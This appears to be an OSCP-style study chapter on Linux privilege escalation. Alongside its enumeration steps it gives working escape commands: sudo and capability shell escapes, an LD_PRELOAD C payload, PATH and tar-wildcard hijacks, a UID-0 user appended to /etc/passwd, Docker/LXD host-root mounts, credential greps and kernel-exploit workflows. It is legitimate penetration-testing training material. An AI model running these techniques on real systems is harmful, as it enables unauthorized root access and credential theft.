9.5.1 Linux Privilege Escalation
← Stage index | Quick sheet | Master Notes | File transfer | Strategy map | Study methods: Escalate privileges on Linux
Model: controlled object → effective permission → privileged consumer → execution identity → trigger → effect → verified identity.
First pass: confirm the session identity, run the LinPEAS baseline early, then verify its exact finding. For short-lived scheduled commands use pspy and inspect the consumed path.
Reuse discovery: repeating an inventory is optional when equivalent complete output is available from the same host and identity. Check the LinPEAS build/options, skipped checks and errors. Keep selected-candidate validation: exact effective permissions, privileged consumer, trigger and verified outcome. Re-enumerate affected resources after access changes; absence from a report does not rule a path out. The quick sheet marks reusable discovery and follow-up checks per investigation.
9.5.1.1 Establish current state
Decisive output: current identity/groups, OS/kernel/architecture, network position, root-owned activity, mounts and exact sudo rules.
hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l
getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd
Priority: credentials/sudo → root-consumed writable objects → SUID/capabilities → privileged groups/mounts/local services → PATH/libraries/wildcards → software/kernel.
9.5.1.2 Prove permissions, including parents and mounts
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS
Directory write+execute can permit replacement even when the file is not writable. ACLs can add/remove effective access.
nosuiddefeats SUID/SGID and file-capability effects;noexecblocks direct execution;roblocks changes.
Discover writable objects, then prioritize root-owned configuration, scripts, binaries and parents under /etc, /opt, /usr/local, application paths and service working directories:
find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null
9.5.1.3 Hunt credentials and service trails
history 2>/dev/null
find /home /root -maxdepth 3 -type f \
\( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
-o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
-readable 2>/dev/null
grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
/var/www /opt /srv /etc 2>/dev/null | head -n 200
Inspect process arguments and readable process environment:
ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null
Check reusable local sessions/agents only when their sockets are accessible:
w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null
An agent, tmux/screen or daemon socket needs effective socket access and a useful authenticated/privileged session. Presence alone is not session hijacking.
Next: identify the value's user/service context, validate the smallest relevant transition (
su,sudo, SSH or application authentication), then re-enumerate. Use credential handling for cracking/reuse.
9.5.1.4 Check whether your sudo rights enable higher privileges Sudo: parse the complete rule
Inspect the allowed run-as identity, exact command, arguments and restrictions before selecting a sudo path.
sudo -n -l 2>&1
sudo -l
sudo --version
Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping,
NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.
9.5.1.4.1 Preserved LD_PRELOAD variant
Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM
Static linking, secure-loader behavior, missing environment permission or MAC denial disproves this route.
9.5.1.5 Find privileged executables you can use SUID, SGID and capabilities
A privileged executable or capability is a candidate; verify its exact operation and execution context.
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null
Rank nonstandard/custom paths, unexpected versions, writable binaries/parents and dangerous interpreters. Inspect one candidate:
namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null
Look for a documented SUID/capability primitive, unsafe relative helper, arbitrary file operation, user-controlled config/plugin or exact vulnerable version. Normal distribution SUID files are not findings by themselves.
9.5.1.5.1 Capability interpretation and example
High-value capability candidates include cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search, cap_sys_ptrace, cap_sys_admin, cap_setfcap and cap_sys_module. cap_net_raw is usually not a direct root transition.
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status
Only when the exact interpreter has effective cap_setuid:
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
+epindicates permitted plus the file effective bit. Bounding sets, namespaces,nosuidmounts and program behavior can still change the result.
9.5.1.6 Find privileged execution that consumes something you control Cron, timers and services
Check the privileged consumer, controlled input and actual schedule or trigger.
crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100
systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles
Observe short-lived commands:
./pspy64
./pspy64 -pf -i 1000
Validate every referenced script, binary, configuration, environment file, plugin and parent:
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
Prove: exact object is controllable → job/service consumes it → process runs as a higher identity → schedule/restart/other trigger is available. A writable unit still needs a privileged reload/restart or automatic trigger. Cron uses a different/minimal environment.
Apply the same proof to backup, logrotate, package-maintenance and custom housekeeping hooks: configuration visibility or a writable output is insufficient unless a higher-privileged consumer interprets attacker-controlled input.
9.5.1.7 Check whether you can redirect a privileged command lookup PATH and relative-command hijacking
Prove the privileged consumer uses the controlled name, expansion or search path.
echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
[ -z "$d" ] && d=.
[ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'
If the privileged consumer resolves helper through a controllable PATH:
printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof
Requires a relative command, the consumer's effective PATH, an earlier writable directory, trigger and retained privilege. Your interactive PATH alone is inconclusive.
9.5.1.8 Check whether controlled filenames become privileged command options Wildcard and option injection
Prove the privileged consumer uses the controlled name, expansion or search path.
grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
/etc/cron* /etc/systemd /opt /usr/local 2>/dev/null
GNU tar proof, only when a privileged job executes compatible tar ... * in an attacker-writable directory:
printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'
Confirm working directory, wildcard placement, utility implementation/options, privileged identity and trigger. Do not assume every wildcard or utility accepts filename-derived options.
9.5.1.9 Check whether writable account or policy files enable higher privileges Writable account/policy files
ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null
9.5.1.9.1 Writable /etc/passwd — authorized disposable lab only
cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id
Preserve a known-good copy and restore it. UID/GID 0 creates a superuser. Do not risk corrupting a host when no safe recovery exists.
Also inspect effective access to /etc/sudoers.d, PAM, SSH authorized-key locations and root-executed startup/configuration files.
9.5.1.10 Check whether group or socket access gives you higher privileges Privileged groups, sockets and containers
id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null
Group candidates include docker, lxd/lxc, disk, shadow, adm, systemd-journal and libvirt. Prove the associated resource and effective permission.
9.5.1.10.1 Rootful Docker daemon with an available image
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh
Requires daemon/socket access, a rootful daemon, usable image and allowed host bind mount. Rootless mode, user namespaces, authorization plugins and SELinux can change the effect.
9.5.1.10.2 LXD/LXC with an available image alias
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
Requires configured daemon access, sufficient group rights, image availability and privileged-container/device support.
9.5.1.11 Find escalation paths through mounts and local services Mounts, NFS and local services
Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.
findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp
For NFS, a writable export plus no_root_squash can trust client-root-created ownership/SUID metadata. Confirm export options, writable mount, target-side mount options and compatible execution. See NFS/RPC.
Root-only loopback services and UNIX sockets are candidates only. Identify protocol/authentication and prove a privileged action through a controlled request, configuration, plugin or file.
9.5.1.12 Check whether a privileged program loads a library you control Shared-library resolution
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
Need a privileged dynamically linked consumer plus a missing/selected library resolved from a writable location or a preserved loader variable. Secure-execution mode strips many loader variables from SUID/SGID programs. Prefer
readelfover executing an untrusted file through an unsafelddimplementation.
For root-run scripts, inspect imports/includes and their actual search order. A writable current directory, module path or imported file can be a privileged input even when the main script is protected:
grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'
Prove the privileged interpreter uses the writable module/include before changing it. The interactive interpreter's search path may differ from cron/systemd/sudo.
9.5.1.13 Assess matching software or kernel exploits after permission checks Software/kernel exploits: evidence last
Use a matching affected build/configuration only after stronger permission-backed candidates have been assessed.
uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null
searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit
Match component, exact distribution/build and patch/backport state, architecture, required configuration/capabilities/namespaces, mitigations and dependencies. Review source and recovery risk. A version title or successful compilation is only a candidate. Follow public exploit adaptation.
9.5.1.14 Investigate remaining gaps with a focused automated survey Automated enumeration: generate, then prove
For the early collector pass, transfer a reviewed LinPEAS copy, check the current UID/architecture and save its output. This form does not require an executable bit:
sh ./linpeas.sh | tee linpeas.txt
Follow the named finding into the matching sudo, SUID/capability, writable-consumer or credential procedure. Use the local help for optional modes; broader/noisier checks are not the automatic baseline.
./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt
LinPEAS optional flags vary by build. Read the local
./linpeas.sh -hbefore selecting broader checks; they are not the automatic baseline. LSE progresses from default to-l1, then-l2only if needed.unix-privesc-check detailedis slower and more false-positive-prone.
For every highlight:
exact object | effective permission | privileged consumer | identity | trigger | expected effect | manual verification
Do not pipe an unverified Internet download into the target shell. Acquire a trusted copy, retain its source/hash, transfer deliberately and remove assessment artifacts when appropriate.
9.5.1.15 Choose the next check from the failure you observed Failure router
| Symptom | Check next |
|---|---|
sudo -l fails/prompts | Password requirement, credential correctness and policy—not “no sudo” |
| Allowed sudo command gives ordinary shell | Args/run-as, privilege dropping, NOEXEC, MAC denial |
| SUID technique stays low privilege | Owner/mode, effective UID, nosuid, shell privilege preservation |
| Capability command fails | Exact path, +ep, bounding set, namespace/mount and interpreter support |
| Cron edit never runs | Job/user/schedule, working directory, shell/PATH, logs and pspy |
| PATH route ignored | Absolute command, secure_path, reset environment, wrong directory/order |
| Wildcard route ignored | Working directory, expansion, option order and utility implementation |
| Docker permission denied | Socket ACL, group session, daemon mode and authorization controls |
| Kernel PoC fails | Exact affected build/configuration, architecture, toolchain/dependencies |
| Enumerator says “possible” | Run native commands proving every chain link |
9.5.1.16 Verify and re-enumerate
id; whoami; groups
hostname; pwd
ip addr; ip route
After root, re-enumerate newly readable credentials, services, listeners, mounts and routes. Capture the exact command, decisive output and state transition required by the objective; keep target details and proof material private.
9.5.1.17 Restricted shell — escape the restriction without claiming root
Use when a login is confined by rbash or an allowlisted command wrapper. Check which binaries and features are actually allowed; the following are alternatives, not a sequence to execute together.
9.5.1.17.1 If the allowed Python interpreter can create a child shell
# If the allowed Python interpreter can create a child shell
python3 -c 'import os; os.execl("/bin/sh", "sh")'
9.5.1.17.2 If an unrestricted awk is in the allowed path
# If an unrestricted awk is in the allowed path
awk 'BEGIN {system("/bin/sh")}'
9.5.1.17.3 If less allows its shell-escape feature: run less FILE, then enter this in less
# If less allows its shell-escape feature: run less FILE, then enter this in less
!/bin/sh
Read: run id and check the new shell behavior. This changes the command environment, not the UID. LESSSECURE, a restricted editor build, no-exec controls or an application wrapper can block an otherwise familiar GTFOBins escape. A server-side SSH ForceCommand can ignore the command you supply to ssh; do not repeat a client-side command substitution as though it overrides the server policy.
Sources: upstream 1 · upstream 2.
9.5.1.18 Kernel candidates — Linux Exploit Suggester as a second view
Use when manual permission/credential routes have not yielded a candidate and kernel/package evidence justifies checking public local exploits. Transfer a reviewed copy before execution.
uname -a
cat /etc/os-release
bash linux-exploit-suggester.sh
Read: candidates need the advisory's exact kernel/build/configuration and prerequisite checks. Distribution backports can fix a CVE without changing an apparent upstream version. Inspect the PoC's primitive, architecture, compilation and failure impact before choosing it. A suggestion or successful build is not evidence of a vulnerable target or an elevated identity.
Sources: upstream 1.
9.5.1.19 Logrotate race — only with a controlled log path and privileged rotation
Use when root rotates a log in an attacker-controlled path and the configuration creates/copies/compresses a file. A writable log by itself is insufficient. Check the relevant stanza, directory ownership and actual scheduled execution first.
9.5.1.19.1 cat /etc/logrotate.conf
cat /etc/logrotate.conf
cat /etc/logrotate.d/SERVICE
namei -l /PATH/TO/LOG
systemctl cat logrotate.service logrotate.timer
9.5.1.19.2 Compile a reviewed upstream source; prepare a script payload for the actual consumer
# Compile a reviewed upstream source; prepare a script payload for the actual consumer
gcc -o logrotten logrotten.c
printf '%s\n' 'id > /tmp/logrotate-proof.txt' > payloadfile
9.5.1.19.3 create option; wait for the existing privileged rotation trigger
# create option; wait for the existing privileged rotation trigger
./logrotten -p ./payloadfile /PATH/TO/LOG
9.5.1.19.4 Alternative for a matching compress configuration, not an extra required step
# Alternative for a matching compress configuration, not an extra required step
./logrotten -p ./payloadfile -c -s 4 /PATH/TO/LOG
Read: winning the file-write race and executing its contents are separate events. The upstream default targets a shell-completion consumer: it must actually be sourced by a privileged shell before the proof appears. Verify that consumer and then read the proof UID. A low-privilege su rotation, protected parent, incompatible build/filesystem or an absent consumer can rule out this route. Do not force root rotation from a low-privilege account or treat lack of proof as a confirmed race win; return to the scheduled-job/service checks.
Sources: upstream 1 · upstream 2.
9.5.1.20 Sources
- Supplied PEN-200 Ch 18, pp550-582
- Current OSCP+ Body of Knowledge
- Current OSCP+ exam guide
- getSH Privilege Escalation: Linux, source snapshot
e1f62dd - Hexdump PATH hijacking module
- sudoers manual
- Linux capabilities manual
- systemctl manual
- Docker run reference and Docker Linux post-install security
- LinPEAS, LSE, pspy and GTFOBins